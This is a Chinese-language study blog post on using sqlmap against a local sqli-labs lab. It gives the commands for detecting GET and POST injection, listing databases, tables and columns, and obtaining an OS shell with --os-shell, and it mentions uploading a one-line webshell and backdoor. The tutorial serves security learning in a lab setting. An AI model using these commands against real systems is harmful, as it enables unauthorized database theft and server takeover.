sql注入之sqlmap(渡栗的学习笔记)

目录

一、SQLMap介绍

Sqlmap简介:

二、sqlmap使用:

get注入

1、判断是否存在注入:

常用命令:

post注入

注入方式一:

注入方式二:自动搜索表单的方式

注入方式三:

三、SQL注入之sqlmap获取shell

os-shell 执行原理


一、SQLMap介绍

Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

二、sqlmap使用:

get注入

1、判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

bfe0bc3c340f486ab8ee17a31ae226ad.png

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&id=2"

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:

第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;

第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;

第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u: get提交,后面跟注入的url网址

--level

--risk

--dbs:获取所有数据库 --tales:获取所有数据表 --columns:获取所有字段 --dump:打印数据

-D:查询选择某个库

-T:查询选择某个表

-C:查询选择某个字段

level:(1-5)默认1,使用-level参数并且数值>=2的时候检查cookie里面的参数,

>=3,检查user-agent和refereer

risk: (0-3) 默认1,默认是1会测试大部分的测试语句,

2,会增加基于事件的测试语句,

3,会增加or语句的sql注入

post注入

 -r表示加载一个文件,-p指定参数
--current-db 展示当前数据库
--forms 自动检测表单
-data  跟-p有点像,很少用

利用sqlmap进行POST注入,常见的有三种方法:

注入方式一:

1、用Burp抓包,然后保存抓取到的内容。

16ba50d6cfcf477ba417e5178258cdab.png

把抓包的内容复制保存为如11.txt

c6630d248315400198ce9f0aeba2f442.png

2、看有没有注入点,列数据库,

python sqlmap.py -r C:\Users\华硕\Desktop\11.txt -p uname --dbs

   *指定需要测试的参数,不推荐使用

5e271ed3e2ac4029aa722a7e41c3fe08.png

0454f74ae37c47649edd810228b3a509.png

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"

3、猜表

python sqlmap.py -r C:\Users\华硕\Desktop\11.txt -p uname -D test --tables

4、猜列

python sqlmap.py -r C:\Users\华硕\Desktop\11.txt -p uname -D test -T t1 --columns

注入方式二:自动搜索表单的方式

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-11/" --forms

局限性,cookie,其它的头部就搜索不到

do you want to test this form? [Y/n/q] 要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n] 是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n] 你想利用SQL注入? 输入"Y"

注入方式三:

-data  指定表单某个数据,跟-p有点像,很少用,比--forms还少用

三、SQL注入之sqlmap获取shell

--os-shell的执行条件有四个:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义(魔术引号)的功能关闭

(4)secure_file_priv无限制

第一,知道当前网站的用户权限是否是管理员

--is-dba 查看是否为管理员 ture,管理员

--users 查看账号权限

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --users

b80b70057b394e5d9c7c32b1c8c98f3e.png

使用 –os-shell命令,存在注入点后,会提示需要选择语言

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --os-shell --level=3

af50ade76ce54e7a909e04c6ce01aa18.png

选择路径:--os-shell的执行条件的(2)攻击者需要知道网站的绝对路径

fe77d8cfcb7c4af79427ad25b3bfc5fa.png

37d022de43e44245b29c9b10670b6537.png

拿到shell,可以查看部署服务器的地址,读写的操作,上传一字句木马,植入一个后门。。。。

尝试一字句木马

cef0a621ac394cc5baa652de6d7dee71.png

f87f4027a49a4f99909351a785650d58.png

bf11381076ce47a6bc3f923b5c8771ef.png

os-shell 执行原理

--os-shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们上传文件到网站路径下

sqlmap就会通过上面这个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们命令执行,并将输出的内容返回sqlmap端。

5d9b53eb275b4e7daad1c2a53b38f1c8.png

sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

  • 23
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值